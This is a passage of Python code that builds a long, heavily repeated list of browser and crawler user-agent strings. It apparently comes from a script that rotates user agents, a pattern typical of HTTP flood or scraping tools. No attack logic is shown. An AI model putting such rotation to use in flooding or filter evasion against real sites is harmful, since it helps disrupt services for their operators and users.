2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; 